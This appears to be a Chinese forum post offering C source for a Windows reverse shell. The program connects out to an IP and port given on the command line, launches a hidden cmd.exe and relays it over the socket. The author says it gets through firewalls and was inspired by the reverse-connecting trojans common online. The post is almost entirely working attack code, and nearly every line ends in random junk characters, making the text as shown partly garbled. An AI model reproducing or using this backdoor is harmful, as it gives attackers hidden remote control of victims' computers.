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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8!35 K  
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/* ============================== l4$ sku-  
Rebound port in Windows NT L *\[;.mk  
By wind,2006/7 9j^rFG!n  
===============================*/ 1d+Kn Jy  
#include 9LPXhxNwB  
#include >y8>OJ?A7-  
&iu]M=Y b  
#pragma comment(lib,"wsock32.lib") 4 ;_g9]  
}ACg#;>/+  
void OutputShell(); H HX q_-V  
SOCKET sClient; qQ]fM$!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tYTl-c  
(t3gNin  
void main(int argc,char **argv) DXD+,y\=  
{ > A@yF?  
WSADATA stWsaData; 8Ckd.HKpQ  
int nRet; +a,#BSt  
SOCKADDR_IN stSaiClient,stSaiServer; dpE^BWv3  
Hc8^w6S1@  
if(argc != 3) 82 |^o  
{ "Ia.$,k9  
printf("Useage:\n\rRebound DestIP DestPort\n"); R%r25_8  
return; eb}XooX  
} q'7.lrKwa>  
f%n ;Z}=  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;\}d QsX  
}>AA[ba"'  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VTR4uT-  
v(0ujfSR0  
stSaiClient.sin_family = AF_INET; au19Q*r9  
stSaiClient.sin_port = htons(0); cg^~P-i@*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "4xo,JUf  
*6<4ECa7C  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?99r>01>  
{ [bKc5qp  
printf("Bind Socket Failed!\n"); .!^OmT,u  
return; o_=4Ex "  
} PUD8  
P=}dR&gk'  
stSaiServer.sin_family = AF_INET; !/H `   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IHCxM|/k(M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AW \uE[kg  
88:YU4:l`N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VDv.N@ ) 7  
{ *ze/$vz-  
printf("Connect Error!"); 8(- 29  
return; d]K8*a%[-  
} ,Gbc4x  
OutputShell(); 2A|mXWG}~  
} x(Uv>k~i}  
pRlScD_};  
void OutputShell() d^54mfgI  
{ .KG9YGL#  
char szBuff[1024]; D&K9!z"]  
SECURITY_ATTRIBUTES stSecurityAttributes; nF]E":  
OSVERSIONINFO stOsversionInfo; e/x 9@1s#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tt{X(I} J  
STARTUPINFO stStartupInfo; <i ]-.>&J  
char *szShell; s^6,"C  
PROCESS_INFORMATION stProcessInformation; 2N |iOog  
unsigned long lBytesRead; ODKh/u_  
+8 "8s  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); };}N1[D   
R-W.$-rF  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r/':^Ex  
stSecurityAttributes.lpSecurityDescriptor = 0; ,hJx3g5#n  
stSecurityAttributes.bInheritHandle = TRUE; WoN JF6=?  
*1-0s*T  
HD{u#~8{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dg*xo9Xi`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); EJz!#f~  
F5H*z\/={  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jR:\D_:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nfZe"|d  
stStartupInfo.wShowWindow = SW_HIDE; ^h=gaNL  
stStartupInfo.hStdInput = hReadPipe; {=Ji2k0U'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /EQ^-4yr  
!"/"Mqs3$  
GetVersionEx(&stOsversionInfo); Zw4%L?   
pHoxw|'Y  
switch(stOsversionInfo.dwPlatformId) 4_2oDcdf  
{ {C?$osrr  
case 1: m@I}$  
szShell = "command.com"; je#LD  
break; Omn $O>  
default: hxJKYU^%m  
szShell = "cmd.exe"; +3AX1o%p,#  
break; QTF1~A\  
} -f:PgBj  
QA~F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L{;Q6_m  
Z s| *+[  
send(sClient,szMsg,77,0); (I;81h`1G  
while(1) QCDica `+*  
{   h)W#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o[JZ>nm  
if(lBytesRead) sm[zE /2b  
{ FncP,F$8   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <o|k'Y(-  
send(sClient,szBuff,lBytesRead,0); "5$p=|  
} L`O7-'`  
else J?t(TW6E  
{ Iq19IbR8  
lBytesRead=recv(sClient,szBuff,1024,0); F3q<j$y  
if(lBytesRead<=0) break; &.yX41R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dpge:Qhr  
} Zn*W2s^^{  
} {@x-T  
WHjJR   
return; 1S+T:n  
}
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